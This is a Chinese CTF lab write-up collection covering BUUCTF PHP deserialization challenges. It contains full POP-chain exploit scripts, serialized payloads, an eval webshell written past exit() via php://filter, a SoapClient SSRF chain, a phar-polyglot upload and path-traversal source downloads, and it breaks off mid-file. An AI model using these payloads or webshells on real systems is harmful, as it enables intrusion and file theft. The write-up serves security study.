buu反序列化

反序列化

[MRCTF2020]Ezpop 简单的pop

查看源码

用反序列化触发wakeup方法,preg_match将$this->source进行字符串正则匹配,$show1会被当成字符串 进而触发tostring

tostring是把对象当成字符串调用时被触发,

$show = new Show();
$show1=new Show();
$show->source=$show1;

get方法是当访问一个不可访问的对象或方法时被触发

$test=new Test();
$show1->str=$test;

get方法被触发,$p被当成函数来调用,触发invoke方法

$modifier=new Modifier();
$test->p=$modifier;

invoke方法会调用append,append方法中有incloud,所以用伪协议来获取flag

<?php
class Modifier{
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$show = new Show();
$show1=new Show();
$show->source=$show1;

$test=new Test();
$show1->str=$test;

$modifier=new Modifier();
$test->p=$modifier;

echo urlencode(serialize($show));

运行

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

在url中传参?pop

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Q3Mjg5MjQzLTkzMWEtNGU2OS1iNzIwLWYxYzYzYWVlZjY4NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

Base64解码

<?php
class Flag{
    private $flag= "flag{d7289243-931a-4e69-b720-f1c63aeef685}";
}
echo "Help Me Find FLAG!";
?>

[NPUCTF2020]ReadlezPHP 动态函数

查看源码,构造反序列化:echo serialize($c);

echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}

assert是用来避免显而易见的错误的

由$b($a) 可以构造$b=assert,$a=phpinfo ->assert(phpinfo())

$b=assert;
$a=phpinfo();
$d=assert(phpinfo());
echo serialize($d);

url传参

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在phpinfo页面中搜索得到flag

[EIS 2019]EzPOP 半🐕

pop链:

A::__destruct->save()->getForStorage()->cleanStorage()
B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents写x.php

源码+分析

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {//传进来的cache数组替换为$contents
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {//覆盖变量
            if (is_array($object)) {//判断contents传进俩是否为数组
                $contents[$path] = array_intersect_key($object, $cachedProperties);//array_intersect_key方法取两个数组
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);//进入cleanContents方法,cache为array数组

        return json_encode([$cleaned, $this->complete]);//将$complete传入数值后会进行json加密并返回到cleanContents()的数组里

    }

    public function save() {
        $contents = $this->getForStorage();//进入getForStorage方法

        $this->store->set($this->key, $contents, $this->expire);//设置store为B类,进入new B()的set方法,将key,contents,expire传过去

    }

    public function __destruct() {//入口
        if (!$this->autosave) {//设置autosave=flase;!假=真(!x 如果x不是true就返回true)
            $this->save();//进入save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;//getCacheKey(string $name)方法中的options['prefix']可控
        //可以构造php://filter.writer=convert.base64-decode/resource=x.php
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }//先将$value转为string($data)
         //因为options['serialize']可控 所以设置options['serialize'] = 'base64_decode' 先解码$data一次 伪协议在解码一次


        $serialize = $this->options['serialize'];
        //options['serialize']='base64_decode'
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {//判断A类传进来$expire是不是null
            $expire = $this->options['expire'];//options['expire']可控
        }

        $expire = $this->getExpireTime($expire);//expire可控
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩  //options['data_compress']可控,所以赋值options['data_compress'] = false
            $data = gzcompress($data, 3);//提取三个字符压缩 所以编码时加上三个字符 以免干扰base64编码后的一句话木马
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//data经过了拼接处理
        $result = file_put_contents($filename, $data);//伪协议绕过exit之后利用file_put_contents写入x.php

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

从反序列化函数unserialize入手,利用file_put_contents函数写shell

data参数做了拼接处理,exit需要用伪协议来绕过

有个数据压缩代码,但只要options['data_compress']为假就不进入if执行

$value变量来自classA中的$contents 经class B中的set函数调用

!$this->autosave代表$this->autosave=false;从而调用save函数 实现$this->store->set,set函数被调用

$contents变量来自函数getStorage()的返回值,参数组为[$cleaned,$this->complete],让$complete为shell内容 另一个为空数组

filename为getCacheKey($name)的返回值 返回两个拼接量$name来自$key

$this->complete = base64_encode("xx".base64_encode('<?php @eval($_POST["a"]);?>'));

第一次编码是为了绕过exit,二次编码是防止出错

base64算法解码时是4个字节为一组,如果直接伪协议解码,前面的拼接内容如果不足4的倍数,会向后取位补足,从而破坏shell内容,所以需要补齐字符

payload

<?php
class A{
    protected $store;
    protected $key;//传过去对应着$filename
    protected $expire;//expire传不传值都对应着null

    public function __construct()
    {
        $this->cache = array();//cache是array的数组
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["x"]);?>'));//cache是array的数组
        $this->key = "php://filter/write=convert.base64-decode/resource=x.php";//php://filter伪协议绕过exit
        $this->store = new B();//进入B类
        $this->autosave = false;//设置autosave()=false; !假=真(!x 如果x不是true就返回true)
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';//serialize方法的options['serialize']可控 解码$data
        $this->options['data_compress'] = false;//data_complete可控 值设为false,假&&假==真
    }
}
echo urlencode(serialize(new A()));
?>

运行结果

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D7.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiSW1FaVhTazdQejQ9%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

访问 src=x&data=payload 在访问 x.php?x=system('cat /flag');

image-20240310221301374

[MRCTF2020]Ezpop_Revenge??

soap类作用:是用于在分散的分布式环境中交换信息的轻量级协议

target函数:将一个函数作为一个参数传递给另一个函数

X-Forwarded-For 是一个 HTTP 扩展头部,用来请求真实的IP

本题核心代码整理

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        //phpinfo();
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin
{
    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

class Typecho_Db{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        //phpinfo();
        $this->_adapterName = $adapterName;

        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        $this->_adapter = new $adapterName();
    }

}

class Typecho_Db_Query
{
    private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;

    public function __toString()
    {
        phpinfo();
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                    . $this->_sqlPreBuild['table']
                    . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                    . ' VALUES '
                    . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                    . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                    . $this->_sqlPreBuild['table']
                    . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                    . $this->_sqlPreBuild['table']
                    . ' SET ' . implode(' , ', $columns)
                    . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}

反序列化HelloWorld_DB 触发__wakeup()方法,实例化了Typecho_Db类,传递数组$this->coincidence['hello']作为参数

触发construct方法

image-20240311220442646

触发?tostring

image-20240312214040274

在tostring内 若$_sqlPrebuild['action']为SELECT就会触发$_adapter的parseSelect()方法

image-20240312221501491

将$_adapter实例化为SoapClient,调用parseSelect()是不存在的方法,触发了SoapClient的__call()魔术方法call()是实现SSRF的关键

触发sqlPreBuild方法

image-20240312214125881

payload

<?php
class SoapClient{}
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://79a741b7-3f82-4af4-a667-c3ff1e6a125a.node5.buuoj.cn:81/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm45"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

触发点在/page_admin

POST提交payload在C0incid3nc3变量中 GET传参admin

image-20240317204545136

不知道为啥 出不来flag

[网鼎杯 2020 青龙组]AreUSerialz

file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法

str_replace函数;把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

<?php
echo str_replace("world","Peter","Hello world!");
?>

大体pop链:

destruct->process->read->output

源码+分析

<?php

include("flag.php");

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        //phpinfo();
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        //phpinfo();
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");//如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错
            //令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,进入read函数
        }
    }

    private function write() {
        //phpinfo();
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        //phpinfo();
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//filename可控,接着用file_get_contents哈桑农户读取文件
            //借助php://filter伪协议读取文件,获取到文件后用output函数输出
        }
        return $res;
    }

    private function output($s) {
        //phpinfo();
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        //phpinfo();
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();//如果op==="2" 将其赋值"1"(1,2,均为字符串) content赋值为控,进入process函数
    }

}

function is_valid($s) {
    //phpinfo();
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
//str字符串中的字符都在ASCII的32到125范围之内 反序列化
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

$a=new FileHandler();
echo serialize($a);

注意:$content $filename $op三个变量都是protected,protected权限的变量在序列化时会有%00*%00字符,而%00字符的ASCII码为0 无法通过is_vaild函数校验

运行结果

[Result]: <br>Bad Hacker!O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}[Result]: <br>Bad Hacker!

payload

<?php
class FileHandler
{

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = 2;
}
$a=new FileHandler();
echo serialize($a);

image-20240317222008171

[网鼎杯 2020 朱雀组]phpweb

call_user_func()函数:把第一个参数作为回调函数调用

burp抓包 猜测 利用func上传函数名,p上传参数

image-20240318194407814

构造:func=file_get_contents&p=index.php
  //finc_get_contents函数是把整个文件读入一个字符串中

image-20240318195209438

获得源码

  <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

禁止了这老些函数

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

payload

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";

}
$a  = new Test();
$a->func = "system";
$a->p = "ls";
echo serialize($a);

image-20240318204230794

执行系统命令ls

find / -name flag*//查找名字关于flag

image-20240318204811013

image-20240318210359415

image-20240318210315926

得到flag

[安洵杯 2019]easy_serialize_php

查看源码

<?php

$function = @$_GET['f'];

function filter($img){//对$img(形参)进行过滤,后缀不允许出现'php','flag','php5','php4','fl1g'
//满足字符串逃逸的条件
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);//把$_SESSION重置为空
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//把post参数注册成变量(变量覆盖)

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));//对$_SESSION进行一些过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
构造:f=phpinfo

image-20240318212101447

读取文件的地方

image-20240318212250689

当$function == 'show_image'时读取解码后的['img']

$userinfo的值是$serialize_info的反序列化对象

$serialize_info是经过自定义函数过滤的序列化后的$_SESSION

本题知识点:反序列化逃逸

逃逸的两种方法:键值逃逸,键名逃逸

键值逃逸

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

因为filter函数过滤掉了flage和php 但序列化长度没有改变 所以

image-20240319164237129

但序列化长度没有改变 所以s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作原来的值

image-20240319164950411

实现了读取flag

将/d0g3_fllllllag进行base64编码后替换ZDBnM19mMWFnLnBocA==上传

image-20240319170636156

键名逃逸

原理相同 过滤键名

image-20240319171344441

更换键名";s:48:

image-20240319172051580

image-20240319173051338

[SWPUCTF 2018]SimplePHP

查看源码

image-20240320193620685

文件上传处只允许上传图片类型 并且不反悔路径

image-20240320193457129

image-20240320193921313

file=index.php 根据线索一个一个找出来

源码+分析

index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

分析 index.php+base.php发现 base.php食醋胡了一个REMOTE_ADDR 客户端的IP地址

image-20240320200656486

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} //若文件存在 将要读取的文件赋值给Show类的$source 调用_show(),zai class.php文件中找到了这个函数
?> 

分析file.php文件发现设置了open_basedir

image-20240320200939617

“file_exists()”函数的作用是:检查文件或目录是否存在

_show()

image-20240320201907631

将传入的文件 金国正则表达式过滤 如果包含了特殊字符就退出,否则就读取源码

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

调用upload_file函数。 首先得经过upload_file_check()函数。 这个函数是判断文件后缀名的。必须是gif/jpeg/jpg/png 通过匹配后。进入upload_file_do()

function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

分析class.php

class.php粗滤查看过滤会发现确实过滤了f1ag.php。

然后整个题没有一个unserialize();调用

看到了wakeup方法但因为呜啊绕过正则匹配 所以从Test类入手

看到了get方法 需要找到一个不存在的函数或属性 调用get方法 进而调用file_get来读取文件

image-20240320205519301

image-20240320210147227

将str['str']变成Test类,调用source函数。由于Test类没有source函数。就会触发get方法

image-20240320210300638

echo $this->test;能触发tostring方法

POP链:

通过Cle4r 将str赋值为Show类  this->test=$this->Show类 echo $this->test;
触发Show类中的__tostring  进入Show类  执行$content=$this->str['str']->source;
将str['str']赋值为Test类  使其调用不存在的source  触发__get($key)  这个$key就是source
get($key)
$value=this->params['source'];
file_get_contents($value);
由于Test类在构造函数中 定义了params是个数组 那么我们就定义params=array('source'=>'/var/www/html/fl1g.php');

exp

<?php
class Cle4r{
    public $str;
    public $test;
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $file;
    public $params;
}
$a=new Cle4r();
$b=new Show();
$a->test=$b;

$c=new Show();
$c->source=new Show();

$d=new Test();
$d->params['source']=array('source'=>'/var/www/html/f1ag.php');
$b->str['str']=$d;

echo serialize($a);
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}

$phar=new Phar("1.phar");
$phar->startBuffering();//开始缓冲Phar 写操作
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
//O:5:"Cle4r":2:{s:3:"str";N;s:4:"test";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}}

上传文件 查看目录 复制规则化后名字 url访问 base64解码

image-20240320222315729

[CISCN2019 华北赛区 Day1 Web1]Dropbox

上传文件 发现只有图片能上传

image-20240321140533923

一般上传的文件 会放在网站的/sandbox/hash目录下 所以下载源码需要跳转到上一级目录 下载时抓包得到源码

filenmae=../../index.php

image-20240321143829653

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

login.php

<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);//bind_param函数:绑定参数
        $stmt->execute();//execute:该方法执行一条预处理语句 成功是返回TRUE 失败时返回FLASE
        $stmt->store_result();//转移上一次查询返回的结果集
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        //phpinfo();
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        //phpinfo();
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
